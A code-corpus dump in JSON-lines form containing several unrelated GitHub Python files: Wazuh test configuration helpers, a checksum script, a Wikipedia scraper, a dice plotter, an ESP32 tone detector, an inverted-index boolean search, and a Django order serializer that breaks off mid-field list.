Prefix to be inserted before every path.\n\n    Returns:\n        configurations (list): List of configurations with the correct prefix added in the directories and\n        ignore sections.\n    \"\"\"\n\n    def inserter(path):\n        \"\"\"Insert new_prefix inside path, right before the first '/'.\"\"\"\n        result = path\n        index = path.find(os.sep)\n\n        if new_prefix not in path and index >= 0:\n            result = path[0:index] + new_prefix + path[index:]\n\n        return result\n\n    for config in configurations:\n        for section in config['sections']:\n            # Capture exception if there is no elements in the section\n            try:\n                elements = section['elements']\n            except KeyError:\n                elements = None\n            if elements is not None:\n                for element in section['elements']:\n                    if isinstance(element, dict):\n                        # ADD HERE all fields with format sub_element: - value\n                        for sub_element in (element.get('directories'), element.get('ignore'), element.get('nodiff')):\n                            if sub_element:\n                                # Get restrict, directories, ignore and nodiff fields and split them into paths lists\n                                restrict_dict = {}\n                                attributes = sub_element.get('attributes', [])\n                                for attr in attributes:\n                                    if isinstance(attr, dict):\n                                        if attr.get('restrict'):\n                                            restrict_dict = attr\n                                restrict_list = restrict_dict['restrict'].split('|') if restrict_dict != {} else []\n                                paths_list = sub_element['value'].split(',')\n                                modified_restricts = ''\n                                modified_paths = ''\n\n                                # Insert the prefix in every path/regex and add a comma if directories.\n                                for path in paths_list:\n                                    modified_paths += inserter(path)\n                                    modified_paths += ',' if (\n                                            element.get('directories') and modified_paths != '') else ''\n                                modified_paths = modified_paths.rstrip(',')\n\n                                # Insert the prefix in every path inside restrict\n                                for restrict in restrict_list:\n                                    modified_restricts += inserter(restrict)\n                                    modified_restricts += '|'\n                                modified_restricts = modified_restricts.rstrip('|')\n\n                                # Replace the previous values with the new ones.\n                                if modified_paths:\n                                    sub_element['value'] = modified_paths\n                                if modified_restricts:\n                                    for i, sub_sub_element in enumerate(sub_element['attributes']):\n                                        if sub_sub_element == restrict_dict:\n                                            sub_element['attributes'][i] = {'restrict': modified_restricts}\n\n    return configurations\n\n\ndef check_apply_test(apply_to_tags: Set, tags: List):\n    \"\"\"\n    Skip test if intersection between the two parameters is empty.\n\n    Args:\n        apply_to_tags (set): Tags that the tests will run.\n        tags (list): List with the tags that identifies a configuration.\n    \"\"\"\n    if not (apply_to_tags.intersection(tags) or\n            'all' in apply_to_tags):\n        pytest.skip(\"Does not apply to this config file\")\n\n\ndef generate_syscheck_config():\n    r\"\"\"Generate all possible syscheck configurations with 'check_*', 'report_changes' and 'tags'.\n\n    Every configuration is ready to be applied in the tag directories.\n    \"\"\"\n    check_platform = 'check_attrs' if sys.platform == 'win32' else 'check_inode'\n    check_names = ['check_all', 'check_sha1sum', 'check_md5sum', 'check_sha256sum', 'check_size', 'check_owner',\n                   'check_group', 'check_perm', 'check_mtime', check_platform, 'report_changes']\n\n    values_list = itertools.product(['yes', 'no'], repeat=len(check_names))\n    tags = ['tags=\"Sample\"', '']\n\n    for yn_values, tag_value in itertools.product(values_list, tags):\n        yn_str = ' '.join([f'{name}=\"{value}\"' for name, value in zip(check_names, yn_values)])\n        yield ' '.join([yn_str, tag_value])\n\n\ndef generate_syscheck_registry_config():\n    r\"\"\"Generate all possible syscheck configurations with 'check_*', 'report_changes' and 'tags' for Windowsregistries.\n\n    Every configuration is ready to be applied in the tag directories.\n    \"\"\"\n    check_names = ['check_all', 'check_sha1sum', 'check_md5sum', 'check_sha256sum', 'check_size', 'check_owner',\n                   'check_group', 'check_perm', 'check_mtime', 'check_type', 'report_changes']\n\n    values_list = itertools.product(['yes', 'no'], repeat=len(check_names))\n    tags = ['tags=\"Sample\"', '']\n\n    for yn_values, tag_value in itertools.product(values_list, tags):\n        yn_str = ' '.join([f'{name}=\"{value}\"' for name, value in zip(check_names, yn_values)])\n        yield ' '.join([yn_str, tag_value])\n\n\ndef get_wazuh_local_internal_options() -> List[str]:\n    \"\"\"Get current `internal_options.conf` file content.\n\n    Returns\n        List of str: A list containing all the lines of the `ossec.conf` file.\n    \"\"\"\n    with open(WAZUH_LOCAL_INTERNAL_OPTIONS) as f:\n        lines = f.readlines()\n    return lines\n\n\ndef set_wazuh_local_internal_options(wazuh_local_internal_options: List[str]):\n    \"\"\"Set up Wazuh `local_internal_options.conf` file content.\n\n    Returns\n        List of str: A list containing all the lines of the `local_interal_options.conf` file.\n    \"\"\"\n    with open(WAZUH_LOCAL_INTERNAL_OPTIONS, 'w') as f:\n        f.writelines(wazuh_local_internal_options)\n\n\ndef add_wazuh_local_internal_options(wazuh_local_internal_options_dict):\n    \"\"\"Add new local internal options to the current configuration.\n\n    Args:\n        wazuh_local_internal_options_dict (List of str): A list containing local internal options to add.\n    \"\"\"\n    local_internal_options_str = create_local_internal_options(wazuh_local_internal_options_dict)\n    with open(WAZUH_LOCAL_INTERNAL_OPTIONS, 'a') as f:\n        f.writelines(local_internal_options_str)\n\n\ndef create_local_internal_options(dict_local_internal_options):\n    \"\"\"Create local_internal_options using a dictionary.\n\n    Args:\n        dict_local_internal_options (dict) : Dictionary with the local internal options\n    \"\"\"\n    wazuh_local_internal_options = ''\n    for key, value in dict_local_internal_options.items():\n        wazuh_local_internal_options += f\"{str(key)}={str(value)}\\n\"\n    return wazuh_local_internal_options\n\n\ndef local_internal_options_to_dict(local_internal_options):\n    \"\"\" Create a dictionary with current local internal options.\n\n    Args:\n        local_internal_options (List of str): A list containing local internal options.\n    \"\"\"\n    dict_local_internal_options = {}\n    no_comments_options = [line.strip() for line in local_internal_options\n                           if not (line.startswith('#') or line == '\\n')]\n    try:\n        for line in no_comments_options:\n            key, value = line.split('=')\n            dict_local_internal_options[key.rstrip('\\n')] = value\n    except ValueError:\n        raise ValueError('Invalid local_internal_options.conf file.')\n\n    return dict_local_internal_options\n\n\ndef get_local_internal_options_dict():\n    \"\"\"Return the local internal options in a dictionary.\n\n    Returns:\n        dict: Local internal options.\n    \"\"\"\n    local_internal_option_dict = {}\n    with open(WAZUH_LOCAL_INTERNAL_OPTIONS, 'r') as local_internal_option_file:\n        configuration_options = local_internal_option_file.readlines()\n        for configuration_option in configuration_options:\n            if not configuration_option.startswith('#') and not configuration_option == '\\n':\n                try:\n                    option_name, option_value = configuration_option.split('=')\n                    local_internal_option_dict[option_name] = option_value\n                except ValueError:\n                    logger.error(f\"Invalid local_internal_options value: {configuration_option}\")\n                    raise ValueError('Invalid local_internal_option')\n\n    return local_internal_option_dict\n\n\ndef set_local_internal_options_dict(dict_local_internal_options):\n    \"\"\"Set the local internal options using a dictionary.\n\n    Args:\n        local_internal_options_dict (dict): A dictionary containing local internal options.\n    \"\"\"\n    with open(WAZUH_LOCAL_INTERNAL_OPTIONS, 'w') as local_internal_option_file:\n        for option_name, option_value in dict_local_internal_options.items():\n            local_internal_configuration_string = f\"{str(option_name)}={str(option_value)}\\n\"\n            local_internal_option_file.write(local_internal_configuration_string)\n\n\ndef load_configuration_template(data_file_path, configuration_parameters=[], configuration_metadata=[]):\n    \"\"\"Load different configurations of Wazuh from a YAML file.\n\n    Args:\n        data_file_path (str): Full path of the YAML file to be loaded.\n        configuration_parameters (list(dict)) : List of dicts where each dict represents a replacement.\n        configuration_metadata (list(dict)): Custom metadata to be inserted in the configuration.\n\n    Returns:\n        list(dict): List containing wazuh configurations in dictionary form.\n\n    Raises:\n        ValueError: If the length of `params` and `metadata` are not equal.\n    \"\"\"\n    if len(configuration_parameters) != len(configuration_metadata):\n        raise ValueError(f\"configuration_parameters and configuration_metadata should have the same data length \"\n                         f\"{len(configuration_parameters)} != {len(configuration_metadata)}\")\n\n    configuration = file.read_yaml(data_file_path)\n\n    if sys.platform == 'darwin':\n        configuration = set_correct_prefix(configuration, PREFIX)\n\n    return [process_configuration(configuration[0], placeholders=replacement, metadata=meta)\n            for replacement, meta in zip(configuration_parameters, configuration_metadata)]\n\n\ndef get_test_cases_data(data_file_path):\n    \"\"\"Load a test case template file and get its data.\n\n    Template example file: tests/integration/vulnerability_detector/test_providers/data/test_cases/test_enabled.yaml\n\n    Args:\n        data_file_path (str): Test case template file path.\n\n    Returns:\n        (list(dict), list(dict), list(str)): Configurations, metadata and test case names.\n    \"\"\"\n    fim_modes = global_parameters.fim_mode\n    test_cases_data = file.read_yaml(data_file_path)\n    configuration_parameters = []\n    configuration_metadata = []\n    test_cases_ids = []\n    \n    def set_test_case_data():\n        configuration_parameters.append(test_case['configuration_parameters'])\n        metadata_parameters = {'name': test_case['name'], 'description': test_case['description']}\n        metadata_parameters.update(test_case['metadata'])\n        configuration_metadata.append(metadata_parameters)\n        test_cases_ids.append(test_case['name'])\n\n    for test_case in test_cases_data:\n        if 'fim_mode' in test_case['metadata']:\n            fim_mode = test_case['metadata']['fim_mode']\n            if fim_mode not in VALID_FIM_MODES:\n                raise ValueError(f\"Invalid fim_mode: {fim_mode} detected.\")\n            if sys.platform in OS_EXCLUDED_FROM_RT_WD and fim_mode in ['realtime', 'whodata']:\n                continue\n            if fim_mode not in fim_modes:\n                continue\n            else:\n                set_test_case_data()\n        else:\n            set_test_case_data()\n\n    return configuration_parameters, configuration_metadata, test_cases_ids\n\n\ndef update_configuration_template(configurations, old_values, new_values):\n    \"\"\"Update the configuration templates with specific values. Useful for setting the configuration dynamically.\n\n    Args:\n        configurations (list(dict)): Configuration templates.\n        old_values (list)): Values to be replace.\n        new_values (list): New values.\n\n    Raises:\n        ValueError: If the number of values to replace are not the same.\n    \"\"\"\n    if len(configurations) != len(old_values) != len(new_values):\n        raise ValueError('The number of configuration and values items should be the same.')\n\n    configurations_to_update = json.dumps(configurations)\n\n    for old_value, new_value in zip(old_values, new_values):\n        configurations_to_update = configurations_to_update.replace(old_value, new_value)\n\n    return json.loads(configurations_to_update)\n\n\ndef get_configuration(data_file_path):\n    \"\"\"Load configuration from file.\n\n    Args:\n        data_file_path (str): Configuration file path.\n\n    Returns:\n        dict: Configurations names.\n    \"\"\"\n    configuration_file = file.read_yaml(data_file_path)\n    configuration_parameters = {}\n\n    for test_case in configuration_file:\n        configuration_parameters.update(test_case['configuration_parameters'])\n\n    return configuration_parameters\n\n\ndef get_wazuh_local_rules():\n    \"\"\"\n    Get current `local_rules.xml` file content.\n\n    Returns\n        List(str): A list containing all the lines of the `local_rules.xml` file.\n    \"\"\"\n    with open(LOCAL_RULES_PATH) as file:\n        lines = file.readlines()\n\n    return lines\n\n\ndef write_wazuh_local_rules(local_rules: List[str]):\n    \"\"\"\n    Write new rules in 'local_rules.xml' file.\n\n    Args:\n        local_rules (list or str): Lines to be written in the local_rules.xml file.\n    \"\"\"\n    with open(LOCAL_RULES_PATH, 'w') as f:\n        f.writelines(local_rules)\n\n\ndef get_minimal_configuration():\n    \"\"\"Get the wazuh minimal configuration data.\n\n    Returns:\n        str: Wazuh minimal configuration data.\n    \"\"\"\n    configuration = file.read_file(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../', 'data',\n                                                'all_disabled_ossec.conf'))\n    return configuration\n","repo_name":"wazuh/wazuh-qa","sub_path":"deps/wazuh_testing/wazuh_testing/tools/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":32092,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"}
+{"seq_id":"25472578713","text":"#!/usr/bin/python\nimport sys\nimport time\n\nbuffer = []\nfor arg in sys.argv[1:]:\n  v = arg\n  if v[-1] == ',':\n    v = v[:-1]\n  buffer.append(int(v,16))\n\nif buffer[0] == 0xB5 and buffer[1] == 0x62:\n  buffer.pop(0)\n  buffer.pop(0)\n\nCK_A = 0\nCK_B = 0\nfor i in buffer:\n  CK_A = CK_A + i\n  CK_B = CK_B + CK_A\nCK_A &= 0xFF\nCK_B &= 0xFF\nprint([\"%02x\" % x for x in buffer])\nprint(\"chksum 0x%02x, 0x%02x\" % (CK_A, CK_B))\n\n","repo_name":"idoroseman/bmc400","sub_path":"utils/chksum.py","file_name":"chksum.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73240613491","text":"from selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport time \nimport csv\nimport pandas as pd\nimport requests\n# find td in every tr tag and if the td tag has the anchor tag then do the else if part\nstart_url = \"https://en.wikipedia.org/wiki/List_of_brightest_stars_and_other_record_stars\"\n\ndef scrap():\n    templist_arr = []\n    \n    page = requests.get(start_url)\n    soup = BeautifulSoup(page.text, \"html.parser\")\n    star_table = soup.find(\"table\")\n    tr_tags = star_table.find_all(\"tr\")  \n    for tr_tag in tr_tags:\n        td_tags = tr_tag.find_all(\"td\")\n        row = [i.text.rstrip() for i in td_tags]\n        templist_arr.append(row)\n                            \n    star_name = []\n    distance = [] \n    mass = []\n    radius = []\n    lum = []\n    for i in range(1,len(templist_arr)):\n        star_name.append(templist_arr[i][1])\n        distance.append(templist_arr[i][3])\n        mass.append(templist_arr[i][5])\n        radius.append(templist_arr[i][6])\n        lum.append(templist_arr[i][7])      \n\n    df = pd.DataFrame(list(zip(star_name , distance , mass , radius , lum)) , columns = [\"Star_Nmae\" , \"Distance\" , \"Star_Mass\" , \"Star_Radius\" , \"Star_luminosity\"])\n    df.to_csv(\"Brightest_star.csv\")\nscrap()","repo_name":"divyanshipatel123/project127","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36381914231","text":"\"\"\"This is a more complex example of a virtual dice that uses arrays of 1s (white pixels) and -1s (black pixels) to plot the \nresult of the dice roll. Numpy is used to create arrays, matplotlib is used for plotting, and random is used to generate numbers randomly. \nCan you think of other virtual dice modifications? What about plotting out a real picture of a dice? Can you create your own game of Yahtzee? \nWhat about a script that asks how many times want to roll the dice and saves your rolls into a string? \nYour imagination is the limit here!\"\"\"\n\n# Import the necessary libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n\n# Creating arrays for each number where 1=white pixel and -1=black pixel\none = np.ones((7,7), dtype=int, order='C')\none[3,[3]] = [-1]\n\ntwo = np.ones((7,7), dtype=int, order='C')\ntwo[2,[2]] = [-1]\ntwo[4,[4]] = [-1]\n\nthree = np.ones((7,7), dtype=int, order='C')\nthree[1,[1]] = [-1]\nthree[3,[3]] = [-1]\nthree[5,[5]] = [-1]\n\nfour = np.ones((7,7), dtype=int, order='C')\nfour[1,[1]] = [-1]\nfour[5,[5]] = [-1]\nfour[1,[5]] = [-1]\nfour[5,[1]] = [-1]\n\nfive = np.ones((7,7), dtype=int, order='C')\nfive[1,[1]] = [-1]\nfive[1,[5]] = [-1]\nfive[3,[3]] = [-1]\nfive[5,[1]] = [-1]\nfive[5,[5]] = [-1]\n\nsix = np.ones((7,7), dtype=int, order='C')\nsix[1,[1]] = [-1]\nsix[1,[5]] = [-1]\nsix[3,[1]] = [-1]\nsix[3,[5]] = [-1]\nsix[5,[1]] = [-1]\nsix[5,[5]] = [-1]\n\n# Here is a function that uses matplotlib to print a black and white pixel image\ndef arrayPlot(data):\n   \n    fig, ax = plt.subplots()\n    ax.imshow(data, cmap='gray', interpolation='none')\n\n    # Set the major ticks at the centers and minor tick at the edges\n    locs = np.arange(len(data))\n    for axis in [ax.xaxis, ax.yaxis]:\n        axis.set_ticks(locs + 0.5, minor=True)\n        axis.set(ticks=locs, ticklabels=[])\n\n    # Turn on the grid for the minor ticks\n    ax.grid(False, which='minor', linestyle='-')\n    plt.show()\n\n\n# Assign the arrays to variables\nRoll_one = one\nRoll_two = two\nRoll_three = three\nRoll_four = four\nRoll_five = five\nRoll_six = six\n\n# Create a list of possible variables\nPossible_Rolls = [Roll_one, Roll_two, Roll_three, Roll_four, Roll_five, Roll_six]\n\n\n# Randomly plot one of the variables\nx = random.choice(Possible_Rolls)\nEmpty_List = []\nEmpty_List.append(x)\narrayPlot(x)\n","repo_name":"Python-Club-UO/Fun-Projects","sub_path":"VirtualDiceChallenge_DéfiDésVirtuels/VirtualDiceExampleAdvanced.py","file_name":"VirtualDiceExampleAdvanced.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18746639983","text":"#  https://leetcode.com/problems/sign-of-the-product-of-an-array/\n\n\n\"\"\"\n\nProblem Description \n\nThere is a function signFunc(x) that returns:\n\n1 if x is positive.\n-1 if x is negative.\n0 if x is equal to 0.\nYou are given an integer array nums. Let product be the product of all values in the array nums.\n\n\"\"\"\n\n# Time Complexity   Space Complexity\n#      O(n)               O(1)\n\n\n\nclass Solution:\n    def arraySign(self, nums: List[int]) -> int:\n        prod = 1\n        for each_num in nums:\n            prod = prod * each_num\n        if prod == 0:\n            return 0\n        elif prod < 0:\n            return -1\n        else:\n            return 1\n        \n        \n        \n","repo_name":"SanthoshS20/Leet_Code_Problems_Solution","sub_path":"Python Language/ProblemID_1822.py","file_name":"ProblemID_1822.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"14350975460","text":"from flag_fft import FFT\nfrom flag_pwm import PWM\nfrom machine import Pin\nimport time\n\n# 电话按键声 0~ 9 低频\nlow_hz = [941, 697, 697, 697, 770, 770, 770, 852, 852, 852]\n# 电话按键声 0~ 9 高频\nhigh_hz = [1336, 1209, 1336, 1477, 1209, 1336, 1477, 1209, 1336, 1477]\n# 电话按键声 0~ 9 低频阈值\nlow_loss = [740, 740, 740, 800, 800, 800, 900, 900, 900, 1000]\n# 电话按键声 0~ 9 高频阈值\nhigh_loss = [1269, 1395, 1600, 1269, 1395, 1600, 1269, 1395, 1600, 1395]\n\n\ndef which_num():\n    fft = FFT(128, 3000, 34) # 执行一次\n    low_peak = fft.interval_majorPeak(13, 23) # 判断低频的主频率\n    high_peak = fft.interval_majorPeak(23, 33) # 判断高频的主频率\n\n    for i in range(10): # 判断低频与高频落在哪个区间内\n        if low_peak < low_loss[i]: # 筛选位于哪个低频阈值\n            if high_peak < high_loss[i]: # 筛选出的低频阈值中, 高频声音为何者\n                print((i + 1) % 10) # 输出按键声的号码\n                break\nwhile True:\n    tone1 = PWM(Pin(25)) # 建立播放低频声音的 PWM 物件\n    tone2 = PWM(Pin(27)) # 建立播放高频声音的 PWM 物件\n    \n    num = input('按键声:') # 输入按键号码\n    \n    if num.isdigit(): # 判断是否为数字\n        for i in range(len(num)): # 将输入数字依序播放\n            tone1.freq(low_hz[int(num[i])]) # 播放低频声音\n            tone2.freq(high_hz[int(num[i])]) # 播放高频声音\n            time.sleep(0.25) # 持续 0.25 秒\n            which_num() # 判断此声音属于何按键声\n        tone1.duty(0) # 停止播放低频音\n        tone2.duty(0) # 停止播放高频音\n        \n    tone1.deinit() # 停止播放低频音的 PWM 功能\n    tone2.deinit() # 停止播放高频音的 PWM 功能","repo_name":"zulie61/ESP32_MicroPython_FFT","sub_path":"Lab08.py","file_name":"Lab08.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"11264873044","text":"import json\nimport re\nimport string\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom Stack import Stack\nstops = stopwords.words('english')\nPS = PorterStemmer()\nstops.append(\"'s\")\njsondict = dict()\n#得到所有文件中的\ndef gettext():\n    index=0\n    with open(\"C:\\\\Users\\\\wangl\\\\Documents\\\\tweets.txt\") as f:\n        for lines in f:\n            jsonstr = json.loads(lines)\n            jsondict[index] = jsonstr[\"text\"]\n            index = index + 1\n    f.close()\n    return jsondict   \ndef getinvertedindex(jsondict:dict):\n    worddict = dict()\n    pairnum = dict()\n    for text in jsondict.keys():\n        #print(i)\n        #i=i+1\n        textlist = jsondict[text].split()\n        for item in textlist:\n            if (item.find('http')==-1):\n                item = re.sub(\"\\W+\", \"\", item).split()\n                for it in item:\n                    if  it.encode('UTF-8').isalpha():\n                        it = PS.stem(it.lower())\n                        if (it not in stops):\n                            if it not in worddict.keys():\n                                worddict[it] = [text]\n                                pairnum[it]=1\n                            else:\n                                if text not in worddict[it]:\n                                    worddict[it].append(text)\n                                    pairnum[it] = pairnum[it] + 1\n    return worddict,pairnum\ndef andquery(firstlist:list, secondlist:list):\n    i = 0\n    j = 0\n    result = []\n    if len(firstlist)!=0 and len(secondlist)!=0:\n        while (i != len(firstlist) - 1 and j != len(secondlist) - 1):\n            if firstlist[i] == secondlist[j]:\n                result.append(firstlist[i])\n                i,j=i+1,j+1\n            elif firstlist[i] < secondlist[j]:\n                i = i + 1\n            elif firstlist[i] > secondlist[j]:\n                j = j + 1\n    else:\n        return []\n    return result\ndef orquery(firstlist:list, secondlist:list):\n    i = 0\n    j = 0\n    result = []\n    while (i != len(firstlist) - 1 and j != len(secondlist) - 1):\n        if firstlist[i] < secondlist[j]:\n            result.append(firstlist[i])\n            i=i+1\n        elif firstlist[i] > secondlist[j]:\n            result.append(secondlist[j])\n            j = j + 1\n        elif firstlist[i] == secondlist[j]:\n            result.append(firstlist[i])\n            i, j = i + 1, j + 1\n    if i == len(firstlist) - 1 and j!=len(secondlist)-1:\n        for item in range(j,len(secondlist)):\n            result.append(secondlist[item])\n    elif i != len(firstlist) - 1 and j == len(secondlist) - 1:\n        for item in range(i,len(firstlist)):\n            result.append(firstlist[item])\n    return result\n\n# 返回not之后的list\ndef notquery(firstlist:list):\n    result = [item for item in jsondict.keys() if item not in firstlist]\n    return result\ndef adb(querystr: list, worddict: dict, qustr: dict):\n    mergenum=0\n    resultlist = []\n    # 只含有 and 查询\n    strlen=dict()\n    if 'or' not in querystr and 'not' not in querystr:\n        querystr = [item for item in querystr if item != '(' and item != ')']\n        for item in querystr:\n            if item !=\"and\":\n                if (item not in worddict.keys()):\n                    return []\n                strlen[item]=qustr[item]\n        sortdic = sorted(strlen.items(), key=lambda item: item[1])\n        resultlist=worddict[sortdic[0][0]]\n        for i in range(1, len(sortdic)):\n            if len(resultlist) == 0:\n                return resultlist\n            resultlist = andquery(resultlist, worddict[sortdic[i][0]])\n        return resultlist\n    # 只含有or查询\n    elif 'and' not in querystr and 'not' not in querystr:\n        querystr = [item for item in querystr if item != '(' and item != ')']\n        for item in querystr:\n            if item !=\"or\":\n                if item in worddict.keys():\n                    strlen[item] = qustr[item]\n                \n        sortdic = sorted(strlen.items(), key=lambda item : item[1], reverse=True)\n        resultlist = worddict[sortdic[0][0]]\n        for i in range(1, len(sortdic)):\n            resultlist = orquery(resultlist, worddict[sortdic[i][0]])\n        return resultlist\n    # 只含有 not\n    elif 'and' not in querystr and 'or' not in querystr:\n        querystr = [item for item in querystr if item != '(' and item != ')']\n        return notquery(querystr[-1])\n    # 混合查询\n    else:\n        querystack = Stack()\n        operstack = Stack()\n        i = 0\n        while i!=len(querystr):\n            if querystr[i] == '(':\n                operstack.push(querystr[i])\n            elif querystr[i] == ')':\n                while (operstack.top() != '('):\n                    oper=operstack.pop()\n                    if oper == 'or':\n                        firstlist = querystack.pop()\n                        secondlist = querystack.pop()\n                        querystack.push(orquery(firstlist, secondlist))\n                    elif oper == 'and':\n                        firstlist = querystack.pop()\n                        secondlist = querystack.pop()\n                        querystack.push(andquery(firstlist, secondlist))\n                    elif oper == 'not':\n                        firstlist = querystack.pop()\n                        querystack.push(notquery(firstlist))\n                operstack.pop()\n            elif querystr[i] == 'and':\n                oper = operstack.top()\n                if (oper == 'and' or oper == 'or'):\n                    operstack.pop()\n                    firstlist = querystack.pop()\n                    secondlist = querystack.pop()\n                    if oper == 'and':\n                        querystack.push(andquery(firstlist, secondlist))\n                    elif oper=='or':\n                        querystack.push(orquery(firstlist, secondlist))\n                elif oper == 'not':\n                    operstack.pop()\n                    firstlist = querystack.pop()\n                    querystack.push(notquery(firstlist))\n                operstack.push(querystr[i])\n            elif querystr[i] == 'or':\n                oper=operstack.top()\n                if (oper == 'and' or oper == 'or'):\n                    operstack.pop()\n                    firstlist = querystack.pop()\n                    secondlist = querystack.pop()\n                    if oper == 'and':\n                        querystack.push(andquery(firstlist, secondlist))\n                    elif oper=='or':\n                        querystack.push(orquery(firstlist, secondlist))\n                elif oper == 'not':\n                    operstack.pop()\n                    firstlist = querystack.pop()\n                    querystack.push(notquery(firstlist))\n                operstack.push(querystr[i])\n            elif querystr[i] == 'not':\n                operstack.push(querystr[i])\n            else:\n                if querystr[i] in worddict.keys():\n                    querystack.push(worddict[querystr[i]])\n                else:\n                    querystack.push([]) \n            i = i + 1\n        while not operstack.isEmpty() :\n            oper=operstack.pop()\n            if oper == 'and':\n                firstlist = querystack.pop()\n                secondlist = querystack.pop()\n                querystack.push(andquery(firstlist, secondlist))\n            elif oper == 'or':\n                firstlist = querystack.pop()\n                secondlist = querystack.pop()\n                querystack.push(orquery(firstlist, secondlist))\n            elif oper == 'not':\n                firstlist = querystack.pop()\n                querystack.push(notquery(firstlist))\n        return querystack.pop()\ndef main():\n    jsontext = gettext()\n    worddict,pairnum = getinvertedindex(jsontext)\n    print(\"have create\")\n    stops.remove('and')\n    stops.remove('or')\n    stops.remove('not')\n    a = input(\"input:\")\n    while(a!=\"exit\"):\n        qu = a.split()\n        resu=[]\n        for item in qu:\n            if (item == '(' or item == ')'):\n                resu.append(item)\n            if (item.find('http') == -1):\n                item = re.sub(\"\\W+\", \"\", item).split()\n                for it in item:\n                    if it.encode('UTF-8').isalpha():\n                        it = PS.stem(it.lower())\n                        if (it not in stops):\n                                resu.append(it)\n        result = adb(resu, worddict,pairnum)\n        num = 0\n        for i in result:\n            if(num<10):\n                print(\"id:\" + str(i) + \"   \" + jsondict[i])\n                num = num + 1\n        a = input(\"input:\")\nif __name__ == \"__main__\":\n    main()","repo_name":"wanglcore/201600130071wangdongbiao","sub_path":"HomeWork3/E3.py","file_name":"E3.py","file_ext":"py","file_size_in_byte":8646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38899783653","text":"from drf_spectacular.types import OpenApiTypes\nfrom drf_spectacular.utils import extend_schema_field\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.fields import SerializerMethodField, EmailField, CharField, IntegerField\nfrom rest_framework.reverse import reverse_lazy\nfrom rest_framework.serializers import ModelSerializer\n\nfrom assortment.models import Assortment\nfrom assortment.serializers import AssortmentShortSerializer\nfrom order.models import OrderItem, Order\nfrom signals import new_order_confirmation\nfrom utils.response import C_QUANTITY_WRONG, get_error_message, C_QUANTITY_THRESHOLD, C_WRONG_REQUEST\n\n\nclass OrderItemSerializer(ModelSerializer):\n    id = IntegerField(required=False)\n    price = SerializerMethodField()\n    assortment = AssortmentShortSerializer()\n\n    class Meta:\n        model = OrderItem\n        fields = [\n            'id', 'assortment', 'quantity', 'price'\n        ]\n\n    @extend_schema_field(OpenApiTypes.DECIMAL)\n    def get_price(self, obj):\n        if obj.order.status == Order.Status.NEW:\n            return obj.assortment.price\n        return obj.price\n\n    def validate_quantity(self, value):\n\n        if self.context['action'] == 'create':\n            try:\n                assortment_id = self.context['request'].data.get('assortment').get('id')\n            except:\n                raise ValidationError(get_error_message(C_WRONG_REQUEST))\n\n        try:\n            if self.context['action'] == 'create':\n                assortment = Assortment.objects.get(id=assortment_id)\n            else:\n                try:\n                    order_id = self.context['request'].parser_context['kwargs']['pk']\n                    assortment = OrderItem.objects.get(id=order_id).assortment\n                except OrderItem.DoesNotExist:\n                    raise ValidationError(get_error_message(C_WRONG_REQUEST))\n        except Assortment.DoesNotExist:\n            raise ValidationError(get_error_message(C_WRONG_REQUEST))\n\n        if value < 1:\n            raise ValidationError(get_error_message(C_QUANTITY_WRONG))\n        elif value > assortment.quantity:\n            raise ValidationError(get_error_message(C_QUANTITY_THRESHOLD))\n        return value\n\n    def create(self, validated_data):\n        order, _ = Order.objects.get_or_create(\n            status=Order.Status.NEW,\n            profile=self.context['request'].user\n        )\n        try:\n            assortment = Assortment.objects.get(id=validated_data['assortment'].get('id'))\n        except Assortment.DoesNotExist:\n            raise ValidationError(get_error_message(C_WRONG_REQUEST))\n        order_item, is_created = OrderItem.objects.get_or_create(\n            assortment=assortment,\n            order=order\n        )\n        if not is_created:\n            order_item.quantity += 1\n            order_item.save()\n            return order_item\n        order_item = OrderItem.objects.create(\n            assortment=assortment,\n            quantity=validated_data['quantity'],\n            price=assortment.price,\n            order=order\n        )\n        order_item.save()\n        return order_item\n\n    def update(self, instance, validated_data):\n        instance.quantity = validated_data['quantity']\n        instance.save()\n        return instance\n\n\nclass OrderGenericSerializer(ModelSerializer):\n    sum = SerializerMethodField()\n\n    class Meta:\n        model = Order\n        fields = [\n            'id', 'date', 'status',\n            'recipient_email', 'recipient_first_name',\n            'recipient_last_name',\n            'recipient_patronymic', 'recipient_phone',\n            'profile',\n            'city', 'street', 'house_number', 'housing',\n            'structure', 'apartment', 'additional_info',\n            'sum'\n        ]\n\n    @extend_schema_field(OpenApiTypes.DECIMAL)\n    def get_sum(self, obj):\n        total = 0\n        for item in obj.order_items.all():\n            total += item.quantity * item.price\n        return total\n\n    def create(self, validated_data):\n        print(validated_data)\n        order = Order.objects.create(\n            profile=self.context.get('request').user,\n            **validated_data\n        )\n        return order\n\n\nclass OrderListSerializer(OrderGenericSerializer):\n    items_count = SerializerMethodField()\n\n    class Meta:\n        model = Order\n        fields = [\n            'id', 'date', 'status',\n            'items_count', 'sum'\n        ]\n\n    @extend_schema_field(OpenApiTypes.INT)\n    def get_items_count(self, obj):\n        obj.order_items.count()\n        return obj.order_items.count()\n\n\nclass OrderRetrieveSerializer(OrderGenericSerializer):\n    order_items = OrderItemSerializer(many=True)\n\n    class Meta:\n        model = Order\n        fields = [\n            'id', 'date', 'status',\n            'recipient_email', 'recipient_first_name',\n            'recipient_last_name',\n            'recipient_patronymic', 'recipient_phone',\n            'profile',\n            'city', 